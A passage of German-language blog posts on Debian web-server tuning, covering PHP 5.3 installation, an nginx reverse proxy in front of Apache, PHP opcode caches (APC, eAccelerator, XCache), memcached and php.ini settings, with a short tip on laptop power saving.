local RED="[33[0;31m]"
local LIGHT_RED="[33[1;31m]"
local GREEN="[33[0;32m]"
local LIGHT_GREEN="[33[1;32m]"
local PURPLE="[33[0;35m]"
local LIGHT_PURPLE="[33[1;35m]"
local BROWN="[33[0;33m]"
local YELLOW="[33[1;33m]"
local BLACK="[33[0;30m]"
local WHITE="[33[1;37m]"

PS1="n${debian_chroot:+($debian_chroot)}$LIGHT_GREENu$LIGHT_BLUE@$LIGHT_GREENh$LIGHT_GRAY:$LIGHT_BLUEw$LIGHT_RED->$NO_COLOUR "
}
shell_colored

PHP 5.3.3

Auf Dotdeb.org gibt es PHP in Version 5.3.3 im .deb-Format. Das nachfolgende kleine HowTo zeigt wie du dies auf Debian installieren kannst. Es gibt Pakete für Debian (Lenny), sowohl für amd64 als auch i386 Architekturen.

Install:

1.) als erstes benötigen wir eine Root-Shell

sudo bash

2.) nun können wir die zusätzlichen Quellen einfügen

echo "deb http://php53.dotdeb.org stable all" >> /etc/apt/sources.list
echo "deb-src http://php53.dotdeb.org stable all" >> /etc/apt/sources.list

3.) diese einmal aktualisieren

apt-get update

4.) und schon können wir PHP 5.3 installieren

aptitude safe-upgrade

Migration von PHP 5.2.x zu PHP 5.3.x:
de.php.net/migration53

Falls man bereits mit Debian (Squeeze) arbeitet oder die Lenny-Backports in den Quellen eingefügt hat und daher das Paket libtool > 2.2 installiert hat, muss man eine ältere Version per dpkg installieren, da man ansonsten php5-dev (5.3.1) nicht installieren kann, damit man selber Erweiterungen für PHP kompilieren kann (z.B. eaccelerator). Es folgt ein kleines HowTo:

wget http://ftp.de.debian.org/debian/pool/main/libt/libtool/libtool_1.5.26-4_i386.deb
dpkg --force-all -i libtool_1.5.26-4_i386.deb
aptitude install build-essential php5-dev
nginx_logo

Webserver beschleunigen

Zurück zur “Webseiten beschleunigen” – Übersicht

5.) Webserver beschleunigen

5.1) Apache-Module deaktivieren


Ggf. kann man auch einige Module (Erweiterungen) von Apache abschaltet, wer z.B. auf seiner Webseite gar keine SSL-Verschlüsselung verwendet, könnte das entsprechende Modul deaktivieren.

a2dismod  ssl
/etc/init.d/apache2 restart

Die momentan aktiven Erweiterungen kann man unter “/etc/apache2/mods-enabled/” einsehen, die installierten Erweiterungen sind unter “/etc/apache2/mods-available/” zu finden.

Dynamische Seiten:
mod_log_config erlaubt die access_log-Dateien in div. Formaten.
- mod_cgi braucht man, wenn man CGI zulassen will.
mod_suexec erlaubt CGIs als ein bestimmter User zu laufen.
mod_perl braucht man nicht um Perl als CGI auszuführen!
mod_php5 ist schneller als suphp (aber nicht so sicher).
mod_suphp führt php Skript mit den Rechten des entsprechenden webs aus.
mod_include erlaubt die Verwendung von SSI.

URL-Manipulationen:
mod_alias braucht man zum Einblenden von virtuellen Verzeichnissen.
mod_rewrite erlaubt URL-Manipulationen, kostet aber Performance.
mod_autoindex & mod_dir erlauben eine Navigation ohne index.html
mod_userdir erlaub User-URLs mit z.B.: www.huschi.net/~huschi/
mod_negotiation analysiert Accept-Anfragen.
mod_vhost_alias erlaubt das Anlegen von virtuellen Hosts.

Environment- & Header-Manipulation:
mod_mime setzt automatisch den richtigen Header anhand der Dateiendung.
mod_env & mod_setenvif erlauben die modifizierung von ENV-Variablen.
mod_expires erlaubt die HTTP-Header Manipulation des Expires-Date (Verfall-Zeit).
- mod_ssl erlaubt die Verwendung von SSL (https).

Zudem kann man folgende Option in der Apache-Konfiguration ändern, so dass man DNS-Lookups reduziert.

vim /etc/apache2/apache2.conf

HostNameLookups off

5.2) Reverse Proxy (Nginx)

nginx_logo
Wir wollen unsere Webseite mal wieder ein wenig beschleunigen, dies können wir auf verschiedenen Wegen bewerkstelligen, heute beschäftigen wir uns mit dem Reverse-Proxy vor einem Webserver, in diesem Beispiel nutzen wir für diesen Zweck Nginx + apache2. Der große Vorteil von einen Proxy vor dem Webserver ist, dass mehrere Anfragen gleichzeitig gestellt werden könne, um die Performance von statischen Daten zu steigern. Die Anfragen an dynamische Inhalte werden dann noch immer an einen zweiten bzw. an mehrere Webserver, hinter dem Proxy weitergereicht.

Wer sich jetzt fragt, warum man nicht komplett auf Nginx umsteigen sollte, da die Benchmarks zeigen, dass dieser schneller ist als der Apache Webserver, derjenige hat nicht bedacht, dass bei diesen Tests nur die Reaktionen des Webservers auf eine gewisse Anzahl von Anfragen geprüft wird, wenn man jedoch mit “nginx + fcgi” viele php-Dateien verarbeiten möchte, ist ein “apache + mod_php” schneller, zudem kann man diese Daten z.B. mittels eAccelerator zusätzlich cachen, was die Geschwindigkeit von php-Daten noch einmal positiv beeinflusst.

Update: Inzwischen konnte ich die ganzer Sache ausgiebig testen und setzte momentan eine Kombination aus “Varnish” + “Nginx” + “php5-fpm” (+ xcache) ein, so werden die Seiten von Varnish zwischengespeichert alle neue Anfragen von Nginx entgegengenommen, Bilder etc. sofort ausgeliefert und PHP-Anfragen an einen laufendem PHP-Daemon weitergereicht, jedoch erst-einmal zurück zum Beispiel mit Nginx als Reverse-Proxy…

Als Lösung für diese Problem habe ich mir einen Nginx-Proxy gebastelt, der statische Daten (Bilder…) ausliefert und diese zusätzlich für 24 Stunden zwischenspeichert, alle andern dynamischen Inhalte (php,cgi…) werden sofort an apache durch-gereicht. In diesem Beispiel laufen sowohl der Proxy als auch Apache auf einem Server.
reverse_proxy

5.2.1.) Apache auf einem neuen Port laufen lassen

Folgende Datei öffnen…

vim /etc/apache2/ports.conf

…Port “80” durch z.B. “127.0.0.1:8080″ ersetzen.

!!! Wichtig ist hier, darauf zu achten, dass der Apache selber nicht mehr über eine Öffentliche IP-Adresse erreichbar ist. !!!

Ggf. helfen dir die folgenden Zeilen weiter, um alle Einträge in einer Datei zu Ändern (mit vi / vim).

:%s/^80/127.0.0.1:8080/g

:%s/SERVER_IP_ADRESSE:80/127.0.0.1:8080/g

SERVER_IP_ADRESSE muss nun noch mit der IP-Adresse des Servers ersetzte werden und anschließend musst du den Apache Webserver noch neu-starten. Ggf. müssen noch weitere Dateien von Apache angepasst werden.

Mit dem folgendem Befehl kannst du prüfen, ob noch weitere Einträge (Port 80) in der Apache Konfiguration sind.

/bin/grep -wr 80 /etc/apache2/


5.2.2) Ggf. ISPConfig anpassen

Falls du z.B. ISPConfig installiert hat, werden wie Änderungen am Apache Webserver, bei der nächsten Änderung über die Admin-Oberfläche wieder verworfen, daher müssen wir das Template von ISPConfig dementsprechend anpassen.

vim ~/ispconfig/isp/conf/vhost.conf.master

NameVirtualHost 127.0.0.1:8080


5.2.3.) Reverse-Proxy: nginx installieren & konfigurieren

aptitude install nginx
vim /etc/nginx/nginx.conf
user www-data;
worker_processes 4;
worker_rlimit_nofile 3000;
pid /var/run/nginx.pid;

# [ debug | info | notice | warn | error | crit ]
error_log /var/log/nginx/error.log;

#google_perftools_profiles /tmp/profile/;

events {
        worker_connections 2048;
        # use [ kqueue | rtsig | epoll | /dev/poll | select | poll ] ;
        use epoll;
        multi_accept on;
}

http {
        server_names_hash_bucket_size 64;

        ## Size Limits
        client_max_body_size        10M;
        client_header_buffer_size   32k;
        client_body_buffer_size     128k;
        large_client_header_buffers 64 8k;

        ## Timeouts
        client_body_timeout   3m;
        client_header_timeout 3m;
        send_timeout          3m;
        #expires              24h;
        keepalive_timeout     120 120;

        ## General Options
        ignore_invalid_headers   on;
        keepalive_requests       100;
        limit_zone normal $binary_remote_addr 5m;
        recursive_error_pages    on;
        sendfile                 on;
        server_name_in_redirect  off;
        server_names_hash_max_size 512;
        server_tokens            off;
        set_real_ip_from 127.0.0.1;
        real_ip_header X-Forwarded-For;

        ## TCP options
        #tcp_nopush on;
        tcp_nodelay off;
        #send_lowat 12000;

        include mime.types;
        default_type application/octet-stream;

        access_log /var/log/nginx/access.log;

        log_format main '$remote_addr - $remote_user [$time_local] $status '
        '\"$request\" $body_bytes_sent \"$http_referer\" '
        '\"$http_user_agent\" \"http_x_forwarded_for\"';

        ## Cache
        open_file_cache max=1000 inactive=24h;
        open_file_cache_valid    24h;
        open_file_cache_min_uses 2;
        open_file_cache_errors   on;

        ## Compression
        gzip              on;
        gzip_static       on;
        gzip_disable      "MSIE [1-6]\.";
        gzip_buffers      32 8k;
        gzip_comp_level   5;
        gzip_http_version 1.0;
        gzip_min_length   0;
        gzip_proxied      any;
        gzip_types text/plain text/css text/xml text/javascript application/json application/xml application/xml+rss application/x-javascript image/x-icon application/x-perl application/x-httpd-cgi;
        gzip_vary         on;

        output_buffers   10 128k;
        postpone_output  1500;

        # Beispiel: Loadbalance
        #upstream webbackend  {
                #ip_hash;
                #server web1.domain.lan weight=10 max_fails=3 fail_timeout=30s;
                #server web2.domain.lan weight=1 backup;
        #}
        # Beispiel: Reverse-Proxy
        #server {
                #access_log  /var/log/nginx/access.proxy.log main;
                #error_log   /var/log/nginx/error.proxy.log;
                #listen      80;
                #server_name _;

                ## PROXY - Web
                #location ~ \.php$ {
                        #proxy_cache            cache;
                        #proxy_pass  http://127.0.0.1:8080;
                #}
        #}

        # Beispiel: HTTP Server (sollte jedoch besser unter /etc/nginx/sites-available/ angelegt werden)
        #server {
                #listen       8000;
                #listen       somename:8080;
                #server_name  somename  alias  another.alias;

                #location / {
                        #root   html;
                        #index  index.html index.htm;
                        #}
                #}

        # Beispiel: HTTPS Server (sollte jedoch besser unter /etc/nginx/sites-available/ angelegt werden)
        #server {
                #listen       443;
                #server_name  localhost;

                #ssl                  on;
                #ssl_certificate      cert.pem;
                #ssl_certificate_key  cert.key;

                #ssl_session_timeout  5m;

                #ssl_protocols  SSLv2 SSLv3 TLSv1;
                #ssl_ciphers  ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
                #ssl_prefer_server_ciphers   on;

                #location / {
                #root   html;
                #index  index.html index.htm;
                #}
        #}

include /etc/nginx/proxy.conf;
include /etc/nginx/sites-enabled/*.conf;
}
vim /etc/nginx/proxy.conf
proxy_buffering            on;
proxy_cache_min_uses       3;
proxy_cache_path           /usr/local/nginx/proxy_cache/ levels=1:2 keys_zone=cache:10m inactive=24h max_size=1000M;
proxy_cache                cache;
proxy_cache_valid          200 24h;
proxy_cache_use_stale      error timeout invalid_header updating http_500 http_502 http_503 http_504;
proxy_ignore_client_abort  off;
proxy_intercept_errors     on;
proxy_next_upstream        error timeout invalid_header;
proxy_redirect             off;
proxy_set_header           Host            $host;
proxy_set_header           X-Real-IP       $remote_addr;
proxy_set_header           X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_buffers              32 1M;
proxy_busy_buffers_size    31M;
proxy_temp_file_write_size 30M;
proxy_buffer_size          30M;
proxy_connect_timeout      90;
proxy_send_timeout         90;
proxy_read_timeout         90;
proxy_ignore_headers       Expires Cache-Control;
mkdir /usr/local/nginx/proxy_cache/
chown -R www-data:www-data /usr/local/nginx/proxy_cache/

Link:
wiki.nginx.org/NginxHttpProxyModule

/etc/init.d/apache2 restart
/etc/init.d/nginx restart

Nginx läuft nun auf Port 80 und nimmt die Anfragen von Client an und der Apache wartet auf die weitergeleiteten Anfragen von Reverse-Proxy.

Bei mir hat der cache (Zwischenspeicherung) jedoch Probleme verursacht, so dass Captcha’s nicht mehr funktioniert haben, daher habe ich diesen im Nachhinein abgeschaltet.


Links:
www.joeandmotorboat.com/2008/02/28/apache-vs-nginx


5.2.4.) Logfiles korrigieren

Nun stehen wir noch vor dem Problem, dass im Logfile von apache die IP-Adresse vom Reverse-Proxy auftauscht und zwar nur noch diese, um dies zu umgehen installieren wir nun noch folgendes…

aptitude install libapache2-mod-rpaf

Nun noch folgendes in den Vhost-Einträgen bzw. in dem ISPConfig Template ergänzen.


RPAFenable On
RPAFsethostname On
RPAFproxy_ips 127.0.0.1

/etc/init.d/apache2 reload

…und schon haben wir einen Reverse-Proxy (“Apache” + “Nginx”) installiert. Unter Punkt 5.3 zeige ich wie du ganz auf Nginx setzten kannst und somit nicht zwei Webserver, betreiben & konfigurieren musst.

APC + eAccelerator + XCache

PHP besitzt selbst keinen Cache, was dazu führt, dass ein Skript bei jedem Aufruf neu übersetzt werden muss. Um dem entgegenzuwirken, gibt es einige Erweiterungen, die diese Funktionalität nachrüsten, wie beispielsweise den eAccelerator den alternativen PHP Cache.

Da PHP selber noch keinen Cache besitzt, was zur Folge hat das die Skript immer und immer wieder neu übersetzt werden müssen, gibt es ein paar Erweiterungen, welche diese Funktion nachrüsten. Und schon sind wir beim Thema.

 

1.) APC (Alternative PHP Cache)

APC ist ein Open-Source-Zusatzmodul für PHP, das eine beschleunigte Ausführung von PHP-Programmen ermöglicht. Die Beschleunigung wird dadurch erreicht, dass der kompilierte PHP-Quelltext zwischengespeichert wird und bei wiederholter Ausführung das zeitaufwändige Kompilieren nahezu vollständig vermieden werden kann. – Wiki

Als erstes schauen wir uns unsere aktuelle php-Config an…

vim /var/www/info.php
< ?php
phpinfo();
?>
w3m deine_webseite.abc/info.php

Zudem prüfen wir eben noch die momentane Geschwindigkeit unserer Webseite… z.B. auf www.linkvendor.com und internetsupervision.com

Nun installieren wir APC:

aptitude install php-pear
aptitude install php5-dev apache2-prefork-dev build-essential
pecl install apc
vim /etc/php5/conf.d/apc.ini
extension="apc.so"
apc.enabled=1
apc.file_update_protection=2
apc.optimization=0
apc.shm_size=32
apc.shm_segments=1
apc.gc_ttl=7200
apc.ttl=7200
apc.num_files_hint=1024
apc.enable_cli=0

Die Größe an Dateien welche im Speicher (apc.shm_size) gehalten wird, kann man ganz nach Auslastung des Servers anpassen. Um sich anzeigen zu lassen, wie viel der momentane maximal Wert ist, kannst du folgenden Befehl ausführen. (max seg size (kbytes) = 32768 -> 32MB) Wer einen Root-Server hat kann unter (/etc/sysctl.conf) die folgenden Werte entsprechend anpassen: kernel.shmall, kernel.shmmax

ipcs -lm 
/etc/init.d/apache2 restart
Die komplette Dokumentation kann im PHP Manual gefunden werden: http://de2.php.net/manual/de/ref.apc.php

 

2.) eAccelerator

eAccelerator ist eine Open Source Software zum Einsatz auf Webservern, die als Beschleuniger, Optimierer und Cache für PHP-Seiten dient. – Wiki

Wir schauen uns wieder unsere aktuelle php-Config an…

vim /var/www/info.php
<?php phpinfo(); ?>
w3m deine_webseite.abc/info.php

Geschwindigkeit unserer Webseite prüfen… z.B. auf www.linkvendor.com und internetsupervision.com

Nun installieren wir eAccelerator:

aptitude install build-essential php5-dev git
cd /usr/src/
git clone https://github.com/eaccelerator/eaccelerator
cd eaccelerator/
phpize
./configure
make
make install
vim /etc/php5/conf.d/eaccelerator.ini
;[eaccelerator]
extension = "eaccelerator.so"

eaccelerator.enable = "1"
eaccelerator.shm_size = "0"
eaccelerator.optimizer = "1"
eaccelerator.debug = "0"
eaccelerator.cache_dir = "/tmp/eaccelerator"
eaccelerator.log_file = "/var/log/httpd/eaccelerator_log"
eaccelerator.check_mtime = "1"
eaccelerator.filter = ""
eaccelerator.shm_max = "0"
eaccelerator.shm_ttl = "0"
eaccelerator.shm_prune_period = "0"
eaccelerator.shm_only = "0"
;eaccelerator.compress = "1"
;eaccelerator.compress_level = "6"
;eaccelerator.keys = "shm"
;eaccelerator.sessions = "shm"
;eaccelerator.content = "shm"
;eaccelerator.allowed_admin_path = ""
mkdir -p /var/cache/eaccelerator
chmod 0777 /var/cache/eaccelerator
/etc/init.d/apache2  restart

Und noch einmal die Geschwindigkeit deiner Webseite prüfen… z.B. auf www.octagate.com und internetsupervision.com

Konfiguration von eAccelerator:
—————————————

eaccelerator.shm_size
Die Menge an Arbeitsspeicher (in Megabytes) welche eAccelerator verwenden darf.
Der Standard Wert ist “0”.

eaccelerator.cache_dir
Gibt das Verzeichnis an, wo eAccelerator die vorkompilierten Daten auf der Festplatte speichern darf. Die gleichen Daten können auch im Speicher oder auch nur im Speicher untergebracht werden, was einen schnelleren Zugriff zu folge hätte.
Der Standard Wert ist “/tmp/eaccelerator”.

eaccelerator.enable
Ein- / Ausschalten von eAccelerator. Wobei “1” gleich “an” bedeutet.
Der Standard Wert ist “1”.

eaccelerator.optimizer
Hier kannst du Ein- / Ausschalten ob der PHP-Code noch optimiert werden soll. Wobei “1” gleich “an” bedeutet.
Der Standard Wert ist “1”.

eaccelerator.debug
Hier kannst du das Debug-Logging Ein- / Ausschalten.
Der Standard Wert ist “0”.

eaccelerator.check_mtime
Ein- / Ausschalten für die Prüfung, ob der PHP-Code geändert wurde und somit doch noch mal neu übersetzt werden sollte. Wobei “1” gleich “an” bedeutet.
Der Standard Wert ist “1”.

eaccelerator.filter
Hier kannst du angeben welche Daten gecacht werden sollen. (z.B. “*.php *.phtml”) Wenn der Eintrag mit einem “!” beginnt, bedeutet dies, das diese Daten nicht gecacht werden. Der Standard Wert ist “”. -> was bedeutet, dass alles gecacht wird.

eaccelerator.shm_max
Wenn sehr große Daten nicht in den Arbeitsspeicher wandern sollen, dann mann man diesen Wert setzten. (z.B. 10240, 10K, 1M).
Der Standard Wert ist “0”.

eaccelerator.shm_ttl
Wenn eaccelerator keinen Arbeitsspeicher mehr zur Verfügung hat, werden alle Daten gelöscht, welche älter sind als z.B. “9000” Sekunden (Webseiten welche die letzten 2 1/2 Stunden nicht besucht wurden)
Der Standard Wert ist “0”.

eaccelerator.shm_prune_period
Wenn eaccelerator keinen Arbeitsspeicher mehr zur Verfügung hat, werden die Daten welche vor z.B. 9000 Sekunden gecacht wurden gelöscht.
Der Standard Wert ist “0”.

eaccelerator.shm_only
Ein- / Ausschalten vom Cache auf der Festplatte.
Der Standard Wert ist “0”. -> Was bedeutet das sowohl im Arbeitsspeicher als auch auf der Festplatte gecacht wird.

eaccelerator.compress
Ein- / Ausschalten der Komprimierung der Daten.
Der Standard Wert ist “1”.

eaccelerator.compress_level
Stellt den Grad der Komprimierung ein.
Der Standard Wert ist “9”. -> Max. Komprimierung

 

3.) XCache

Opcode-Cacher zum PHP-Beschleunigen auf Servern, beschleunigt den Prozess des Kompilierens von PHP-Skripten, indem er den kompilierten Zustand von PHP-Skripten im RAM zwischenspeichert und die kompilierte Version direkt aus dem Hauptspeicher nutzt.

aptitude install php5-xcache

Hier noch meine Konfiguration für das WordPress Plugin “W3 Total Cache” …

vim /etc/php5/conf.d/xcache.ini
; configuration for php xcache module
[xcache-common]
extension=xcache.so

[xcache.admin]
xcache.admin.enable_auth = Off
;xcache.admin.user = "admin"
;xcache.admin.pass = ""

[xcache]
; select low level shm/allocator scheme implemenation
xcache.shm_scheme = "mmap"
; to disable: xcache.size=0 (Standard)
; to enable : xcache.size=64M etc (any size > 0) and your system mmap allows
xcache.size = 64M
; set to cpu count (cat /proc/cpuinfo |grep -c processor)
xcache.count = 1
; just a hash hints, you can always store count(items) > slots
xcache.slots = 8K
; ttl of the cache item, 0=forever
xcache.ttl = 0
; interval of gc scanning expired items, 0=no scan, other values is in seconds
xcache.gc_interval = 0

; same as aboves but for variable cache
xcache.var_size  = 64M
xcache.var_count = 1
xcache.var_slots = 8K
; default ttl
xcache.var_ttl = 0
xcache.var_maxttl = 0
xcache.var_gc_interval = 900

xcache.test = Off
; N/A for /dev/zero
xcache.readonly_protection = Off
; for *nix, xcache.mmap_path is a file path, not directory.
; Use something like "/tmp/xcache" if you want to turn on ReadonlyProtection
; 2 group of php won't share the same /tmp/xcache
; for win32, xcache.mmap_path=anonymous map name, not file path
;
; xcache.mmap_path = "/dev/zero"

; leave it blank(disabled) or "/tmp/phpcore/"
; make sure it's writable by php (without checking open_basedir)
;
; xcache.coredump_directory = ""

; per request settings
xcache.cacher = On
xcache.stat = Off
xcache.optimizer = On

[xcache.coverager]
; per request settings
; enable coverage data collecting for xcache.coveragedump_directory and xcache_coverager_start/stop/get/clean() functions (will hurt executing performance)
;
;xcache.coverager = Off

; ini only settings
; make sure it's readable (care open_basedir) by coverage viewer script
; requires xcache.coverager=On
;
;xcache.coveragedump_directory = ""

weiter Infos zu xCache: xcache.lighttpd.net/wiki/XcacheIni

 

Test-Ergebnisse:

Mit folgendem Befehl habe ich die Geschwindigkeit meiner Webseite getestet, wobei ich in der Zwischenzeit, vom apache2 als Webserver Abstand genommen habe und voll auf “nginx” setzte. :-)

ab -n500 -c20 -dS "http://suckup.de/"
Somit wurden 500 Seitenaufrufe, davon 20 parallel ausgeführt, um einen Durchschnittswert zu erhalten habe ich den Befehl 3x ausgeführt und xCache war ein wenig schneller!!! :-)

PHP optimieren

Zurück zur “Webseiten beschleunigen” – Übersicht

6.) PHP optimieren/caching

 

6.1) PHP-Daten zwischenspeichern

Im folgenden Blog-Eintag habe ich bereits den Vorteil dargestellt, wenn man php-Daten zwischenspeichert.

-> APC + eAccelerator + XCache <-

 

6.2) SQL-Abfrage mittels PHP zwischenspeichern

Man kann auch verschiedene Caching-Methoden miteinander kombinieren, so habe ich z.B. Zeitweise auf dieser Webseite sowohl eAccelerator als auch “memcached + php5-memcache” eingesetzt, jedoch war der Speicherverbrauch nicht für einen kleinen V-Server ausgelegt.

Distributed memory caching system, was bedeutet, dass als Speichersystem auch mehrere Rechner verwendet werden können, ursprünglich wurde memcache für Livejournal entwickelt.

Um mittels memcachd Daten direkt in den Arbeitsspeicher auszulagern, muss man als ersteres folgende Pakete installieren. – Debian/Ubuntu HowTo

sudo bash
aptitude install memcached
aptitude install php5-memcache

hier meine Konfigurationsdatei vom MemCache-Daemon

cat /etc/memcached.conf

## Daemon
-d

## das Logfile
logfile /var/log/memcached.log

## Ausgaben ins Log schreiben
# -v

## mehr Ausgaben ins Log schreiben
# -vv

## zur Verfügung stehende Arbeitsspeicher
-m 50

# Port
-p 11211

## User-Rechte
-u www-data

## Interface/IP
-l 127.0.0.1

/etc/init.d/apache2  restart

Nun können wir bereits Daten direkt von PHP in den Speicher schieben.

 

Beispiel:

Im folgenden Beispiel werden die Ergebnisse einer SQL-Abfrage direkt in den Speicher geladen

<?php
$mc = memcache_pconnect('127.0.0.1', 11211);
$query = "SELECT n.*, u.user_id, u.user_name,[...]
$ergebnis = memcache_get($mc, $id);
if(!$ergebnis) {
$sql->db_Select_gen($query);
$newsList = $sql->db_getList();
$ttl = 3600;
memcache_set($mc, $id, $newsList, MEMCACHE_COMPRESSED, $ttl);
}
foreach($newsList as $row)
{ [.........]
?>

 

Links:
memcached.org
php.net/memcache

 

6.3) PHP-Module deaktivieren

Ggf. kann man auch noch einige PHP-Erweiterungen abschalten, um den Speicherverbrauch von PHP zu verringern und dies somit zu beschleunigen.

ls /etc/php5/conf.d/

meine aktuell aktivierten Erweiterungen:

  • curl.ini
  • gd.ini
  • mcrypt.ini
  • mysql.ini
  • mysqli.ini
  • suhosin.ini
  • xcache.ini
Man sollte natürlich beachten, welche PHP-Anwendungen man auf seiner Webseite installiert hat bzw. möchte und dessen Abhängigkeiten.

 

6.4) php.ini (Konfiguration) optimieren

Als erstes müssen wir klären, welche Datei geändert werden muss, um die Konfiguration von PHP wirklich zu ändern, dafür nutzen wir am einfachsten eine php_info.php – Datei, welche im Webverzeichnis abgelegt wird und direkt über den Browser aufgerufen wird.

vim php_info.php
<?php
phpinfo();
?>

Bei mir wird angezeigt, dass die Konfigurationsdatei an folgender Stelle editiert werden muss.

vim /etc/php5/apache2/php.ini

 

  • register_argc_argv = Off

 

Diese Einstellung ist nur nützlich, wenn man PHP über die Kommandozeile aufruft und dort Parameter mitgeben möchte, ansonsten aus.

 

  • always_populate_raw_post_data = Off

 

Da ich diese Funktion nicht nutze hab ich diese deaktiviert, sollte man einfach mal ausprobieren…

 

… die meisten Einstellung an PHP muss man jedoch, genauso wie die meisten Einstellungen an eine bestimmte Situation anpassen!

Strom sparen mit Ubuntu

Habe auf meinem Laptop folge Software nachinstalliert

sudo aptitude install powertop laptop-mode-tools

Stromverbrach + hilfreiche Tricks anschauen:

sudo powertop

Und mit ein wenig Konfigurationsarbeit, kannst du die Tips von powertop, in dein System integrieren:

z.B. in /etc/laptop-mode/batt-start/. Man kann auch bestimmt Dienste z.B. “preload” welche einerseits Ihren nutzen haben, jedoch anderseits auch CPU-Last verursachen und somit Strom verbrauchen stopen und wieder starten, sobald der Netzstecker wieder eingesteckt wird.